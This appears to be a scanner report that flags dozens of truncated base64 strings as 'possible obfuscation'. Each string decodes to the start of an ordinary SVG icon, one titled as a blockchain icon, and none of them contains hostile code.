"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48dGl0bGU+SWNvbi1CbG9ja2NoYWluLTM2NjwvdGl0bGU+PHBvbHlnb24gcG9pbnRzPSIxMy4xMyAyLjQgMTMuMTMgNi45OSA5LjE4IDkuMyA5LjE4IDQuNyAx - Possible obfuscationline 292
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZyBpZD0iYTA3MzBhZGMtODU1NS00ZDZmLTgzZDAtYWJmYjA0M2YxNGUyIj48Zz48cG9seWdvbiBwb2ludHM9IjExLjE4OSA0LjgyNyAxMS4xODkgNy41MTUg - Possible obfuscationline 297
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJlNDk4NDcyLTI5MGEtNGM1Yy1iYzlkLTVjYmJiODdjZmZkOCIgeDE9IjkiIHgyPSI5IiB5Mj0iMTMuNSIgZ3Jh - Possible obfuscationline 302
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJhODhlYTkxLTNiM2EtNGRhMC05Yjk3LTlhMTBlYmFhM2U1MCIgeDE9IjEyLjgwNSIgeTE9IjE1LjIzNyIgeDI9 - Possible obfuscationline 307
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU2OTNjODk5LTVmNWQtNDc4ZC1iOTc5LWI2ODg4YTI2NzAzMCIgeDE9IjcuNzYyIiB5MT0iMi40NzYiIHgyPSI3 - Possible obfuscationline 312
"b64": "PHN2ZyBpZD0idXVpZC1lNDAzMDVhNi1mYTYxLTQ3YmEtYjI4Yi02ZWE5NDAyODk2NTYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1hNmFhZTVkNS1iZmNh - Possible obfuscationline 317
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI5YTlmZjBiLTdkYWMtNDA1Yi1hNmRkLWE0ODlhMjgxM2Y4MyIgeDE9IjguODk4IiB5MT0iMTYuMzQ1IiB4Mj0i - Possible obfuscationline 322
"b64": "PHN2ZyBpZD0idXVpZC1lOTdjNDVjYy1hNjI5LTRhMDAtYmEzYy0zMDUyNzNjNzY5ZmIiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmlld0JveD0iMCAwIDE4IDE4Ij48 - Possible obfuscationline 327
"b64": "PHN2ZyBpZD0idXVpZC1iMmUxNTE2MC1mMzAwLTQ5ZGYtOTI2OC0zMzRkZjVlNzVmM2YiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC05N2I3ZTcwNy1mMjg4 - Possible obfuscationline 332
"b64": "PHN2ZyBpZD0iYjA4OWNmY2EtMGRlMS00NTFjLWExY2EtNjY4MGVhNTBjYjRmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImIyNWQwODM2LTk2NGEtNGM4NC04YzIw - Possible obfuscationline 337
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE3OTBjZWM3LTA3YzktNDYzOC1iNWM1LWFiOWZiZDVjYTkwOCIgeDE9IjYuNDEiIHkxPSIxLjc4IiB4Mj0iNi40 - Possible obfuscationline 342
"b64": "PHN2ZyBpZD0iYjZjOTgzNDUtMGMzOS00ZjZmLWI5MzMtNTI4M2RlZmY1NjkwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVhNmY1OWZiLTMwNmEtNDY1NS04ZWY1 - Possible obfuscationline 347
"b64": "PHN2ZyBpZD0iYmRkNmUxNWQtMWE4YS00ODJlLThkMjktNTAzN2ZlZDQ3ZGU3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFkMTkyOTMzLTdjNDEtNDYyNy05NGIw - Possible obfuscationline 352
"b64": "PHN2ZyBpZD0iZTYyOGY1MTQtY2YyNC00OGU4LTliZDktYjA4NDdiYzIyNGQwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwMWYyMzAyLTM4NWUtNGI0OS1hN2U5 - Possible obfuscationline 357
"b64": "PHN2ZyBpZD0iZTA1Yzk1NzUtNGMzOC00YmNkLTkwZWItMjc2Y2FmMjZlM2QwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyOTFhYmE2LTgwMzgtNGRiMS1hMDRk - Possible obfuscationline 362
"b64": "PHN2ZyBpZD0iZmM4OTAxMjctNzI4Yi00YWMwLWI1ZGEtODZjZGZjMTkxZTg2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyOGRlZTIwLTRjNzEtNDZiNS1iOTU3 - Possible obfuscationline 367
"b64": "PHN2ZyBpZD0iYTVhOTk4MWYtMjllNS00NDlhLWIwODMtMTdmODVkOTQ3ZjE0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY0MjM1YjFmLTcxNDMtNGIzMi05ODA0 - Possible obfuscationline 372
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE2YTI2YjFlLWNlZGUtNDhkZi1iY2Y2LTNhMzAwYmM1ZGIxYiIgeDE9IjkiIHkxPSIxNS4zNDIiIHgyPSI5IiB5 - Possible obfuscationline 377
"b64": "PHN2ZyBpZD0iYjFlNzE0NzktMjEzOC00NGUwLWFkZjAtMDJmZTlmZWQ1YzFlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48cGF0aCBkPSJNMS4xNTUsNC45M3YuNTEyTDksOS44NjhsNy4wMDYtMy45NTcsMCwx - Possible obfuscationline 382
"b64": "PHN2ZyBpZD0idXVpZC1mYmJiZWVkZi03ZjAzLTRkNjItYjBmMC1hNGI2ODljMDQxZDkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC03Y2QwYWU0Ny02NDE0 - Possible obfuscationline 387
"b64": "PHN2ZyBpZD0idXVpZC1lZTBiODY1MS01NDNmLTQ5OWEtYmRmMS03N2VkOTUwM2RmZGMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0yMGRkYjVlMi03OWVl - Possible obfuscationline 392
"b64": "PHN2ZyBpZD0iZjQzMzc1MDYtNWQ5NS00ZTgwLWI3Y2EtNjg0OThjNmUwMDhlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJhNDIwMjc3LTcwMGUtNDJjYy05ZGU5 - Possible obfuscationline 397
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFiN2JkMzA3LWExYTUtNDdhOS05ZDc1LWQ0YTFlOGExM2MwYyIgeDE9IjYuMDk0IiB5MT0iMTUuMjEzIiB4Mj0i - Possible obfuscationline 402
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJjMmVjYTJlLTFhMjQtNDU3ZC05NTc3LTAzMzQwZGJhYmE5NCIgeDE9IjEzLjE4NCIgeTE9Ijc4NS45MTEiIHgy - Possible obfuscationline 407
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJhM2Q0NDI4LTI3M2ItNDdkMi04MGFjLTUzNjcxMDE5Yjc5NSIgeDE9Ii0xMjY3LjIzIiB5MT0iMy4wNyIgeDI9 - Possible obfuscationline 412
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI5ZWRhMTRkLTUwMTgtNDA2OS04NDYxLWU5YzE1MjI3NjVmZiIgeDE9IjEzLjQ1IiB5MT0iNi4zIiB4Mj0iMTMu - Possible obfuscationline 417
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZyBpZD0iZWZjNzg2YjgtOTYzMC00MDc0LThkNzAtNWFiMGIxM2ZiN2MwIj48Zz48cGF0aCBkPSJNNiwxMC41OFY4LjYzSDE2LjM1VjMuMTFhLjY0LjY0LDAs - Possible obfuscationline 422
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYzg0NDUyLTU0NjItNDU3Ni05ZWMxLTc4ZTgzYzMyNDZmNyIgeDE9IjkiIHkxPSIxNS41NjMiIHgyPSI5IiB5 - Possible obfuscationline 427
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY1YjI3OTFiLTQxZjgtNGQzMi1iZmY0LTZjZTlkYTJlNzNiNCIgeDE9IjkiIHkxPSIxLjQ5OCIgeDI9IjkiIHky - Possible obfuscationline 432
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU4MzQ2NGI2LWU0ZTYtNGZmMS05YTY1LTdkYmYzNzYzNDg0OSIgeDE9IjkiIHkxPSIxNS4yOTYiIHgyPSI5IiB5 - Possible obfuscationline 437
"b64": "PHN2ZyBpZD0iYWNlZjRjMWItNGZjYy00OTdiLTgxMDktZTMxYWZkOGUzNjgxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJiZmI0Njk5LWI3OTUtNDdmNi04NGVj - Possible obfuscationline 442
"b64": "PHN2ZyBpZD0idXVpZC1hM2RiODYxZi0xNGVlLTQ2NDQtYjYzNS0xODU5YjI1NjgwMmIiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01MTY0YWVlOS1mM2My - Possible obfuscationline 447
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwNDE1YjViLTNiOTgtNDhhOS05MjYzLWQ2ODBmZmNlOTNlOCIgeDE9IjkiIHkxPSIxNy44NiIgeDI9IjkiIHky - Possible obfuscationline 452
"b64": "PHN2ZyBpZD0idXVpZC1iNDM5MjI1ZS05MTE0LTQ0ZGMtODVmNC02MDY1MTAzM2NjZTAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC04N2JhYmEyNy04OWI5 - Possible obfuscationline 457
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxMzgyMWFhLTY1NjctNDFkMy1iOTJkLWJhOGIxM2ZlZDZjMSIgeDE9IjUuMzU3IiB5MT0iMTQuMzc4IiB4Mj0i - Possible obfuscationline 462
"b64": "PHN2ZyBpZD0idXVpZC02YjkxZmIzYi1jM2E4LTQxNmQtYmEwOS01M2VmMGZhZTE5YWEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik0xNy44NDEsMTQuODgxYy0uMTY1LjcyOS0xLjA3MSwxLjQz - Possible obfuscationline 467
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0Y2NkMGMzLWZkZTYtNDg3NS04MDBiLTMzM2RlMGEyNWNiOSIgeDE9IjkiIHkxPSIyIiB4Mj0iOSIgeTI9IjE2 - Possible obfuscationline 472
"b64": "PHN2ZyBpZD0idXVpZC04ZTQ5ODc4ZS02ZjFlLTQ1ZGMtYjEzZi1kZTNmM2IwYTMwMjgiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1lMjc1MjAwZi04MDQ3 - Possible obfuscationline 477
"b64": "PHN2ZyBpZD0iYTU5Nzg3OGQtNzVkZi00YzE3LWI0OGEtODg4MWIzNTNhZGViIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MDhjOTVhLWFjZjktNDhkYy04NmU2 - Possible obfuscationline 482
"b64": "PHN2ZyBpZD0iYTVlOTgwZTItZmU2Yy00YjRiLWJkODgtYTljMjM1ZGU1YTRkIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFmMzc0OGU5LWI3MGMtNDViZS05NGQ2 - Possible obfuscationline 487
"b64": "PHN2ZyBpZD0iYTIwNzFjMGEtNmU2Mi00Njk5LThlMzItMjg1ZjFiYzFlNDIwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE4OWJlODRhLTM3NTItNDEyMy1hZGVl - Possible obfuscationline 492
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZhYjY2YzllLThhZGUtNGIxNC04NWExLTg5YTNkZDdjZWFlOSIgeDE9IjguMTQxIiB5MT0iMS4wNDgiIHgyPSI4 - Possible obfuscationline 497
"b64": "PHN2ZyBpZD0idXVpZC0yYTU3ZDNkMC00OTkxLTQ2NmUtOWE5NC1jODk3NDgxNzNiOGQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC05NDY4Yjg2NS1lYWM0 - Possible obfuscationline 502
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFlYjNiZWJmLWU4OTEtNDNkMy1iMDQ1LTA2YzAyNmY1MDQwZSIgeDE9IjkiIHkxPSIxNC42MzMiIHgyPSI5IiB5 - Possible obfuscationline 507
"b64": "PHN2ZyBpZD0iYjdjMmE0MTgtZTk4My00NWJiLThiMjItYTNhYjUzZDlmZmRiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVjZmFjOWY5LTJhY2UtNDUxYS1hZWY0 - Possible obfuscationline 512
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDE2IDE2Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZiODE5N2U1LWNlMGEtNGZjMC04NTI2LTJjYWViNzRlMTFhMCIgeDE9IjcuOTYxIiB5MT0iMy4xNzkiIHgyPSI3 - Possible obfuscationline 517
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1YjA5ZjZlLTI1MGYtNDIxNC04ZDA0LTkxMWZiOTZlZjE4YSIgeDE9IjYuNTc0IiB5MT0iMS42NDMiIHgyPSI2 - Possible obfuscationline 522
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVjMDRiOWUxLTVlYTMtNDZjNS05NGRiLTNjOTg2M2YzZDY1MyIgeDE9IjExLjQ5OSIgeTE9IjIuMzU1IiB4Mj0i - Possible obfuscationline 527
"b64": "PHN2ZyBpZD0idXVpZC1hZGJkYWU4ZS01YTQxLTQ2ZDEtOGMxOC1hYTczY2RiZmVlMzIiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC0yYTc0MDdhYS1iNzg3 - Possible obfuscationline 532
"b64": "PHN2ZyBpZD0idXVpZC01MWRiMmQxOC0wOTVlLTRjM2MtODlmMi1hYzg3YzgxNmU4OTUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iOWE0ZDczYS0wM2Rh - Possible obfuscationline 537
"b64": "PHN2ZyBpZD0idXVpZC05YjEwMDEzNy0yZDY5LTQ2ZjUtOWQxYi03ZWY5OTNlOGYxYzQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iNDMyYjlhNy01ZTZj - Possible obfuscationline 542
"b64": "PHN2ZyBpZD0idXVpZC0yYmE3YTUyNi1hZTY2LTQ1MzEtYTFmNy1mNTAwYTA5N2JkZjciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1lYjIxZGIyNS03OTlm - Possible obfuscationline 547
"b64": "PHN2ZyBpZD0idXVpZC1jY2UyZDI2MS00ZTM4LTRjYWYtOTYyNi1iNjFmMmZlOTYwZDciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0yMGRlN2ExZi0zYzYx - Possible obfuscationline 552
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkMjE2OWI0LTIyZmEtNDBmYS05M2Q3LTVmODYyYjAyYjM0MyIgeDE9Ii00ODUuNTY0IiB5MT0iLTYwNy45ODMi - Possible obfuscationline 557
"b64": "PHN2ZyBpZD0idXVpZC05NWY5ODM1YS00NzU3LTRhOTAtODJhOC0xZDcxNTJjMjk4MTIiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC05OTI3OGRhZi02MDUw - Possible obfuscationline 562
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIzNGVjNDg4LTM2MmQtNGU1Ni1iYTA4LWIzMGI1OTQ0MDBlNyIgeDE9IjkiIHkxPSIyLjYxOSIgeDI9IjkiIHky - Possible obfuscationline 567
"b64": "PHN2ZyBpZD0iZTkzYjMyYWItZTJiYS00MzFlLWJjYjUtYjZhZGUzYjY2OTY1IiBkYXRhLW5hbWU9IkZ4U3ltYm9sMC0wODciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjAuMjVpbiIgaGVpZ2h0PSIwLjI1aW4iIHZpZXdCb3g9IjAgMCAxOCAxOCI+PGc+PHBhdGggZD0iTTUu - Possible obfuscationline 572
"b64": "PHN2ZyBpZD0iYTc1ZTNmM2EtMjY2MS00MTBiLTgyZmItZDMwMGQzN2RlYTJkIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFmZjYwZGRmLWVlYzEtNDBiZi04YmY1 - Possible obfuscationline 577
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJiZDAyODc4LTMwOWEtNDQ5MC04MTk2LTk0NjMzOGQwZjU5MyIgeDE9IjguOTk1IiB5MT0iMTAuMjk5IiB4Mj0i - Possible obfuscationline 582
"b64": "PHN2ZyBpZD0iYjhkNGZmNmQtYzFlNy00ODc4LThlMWItMjRhMTJjYWQxNWUxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZkZGE5NjdlLTc2NTEtNGM4NC05NzU5 - Possible obfuscationline 587
"b64": "PHN2ZyBpZD0iYjlmOTg4YzctZDA5NS00MjE1LThiMTYtOGQ4Y2M4NmI2YzY1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI0N2Y5NGZkLTdmZTQtNDkxNy1iZDZl - Possible obfuscationline 592
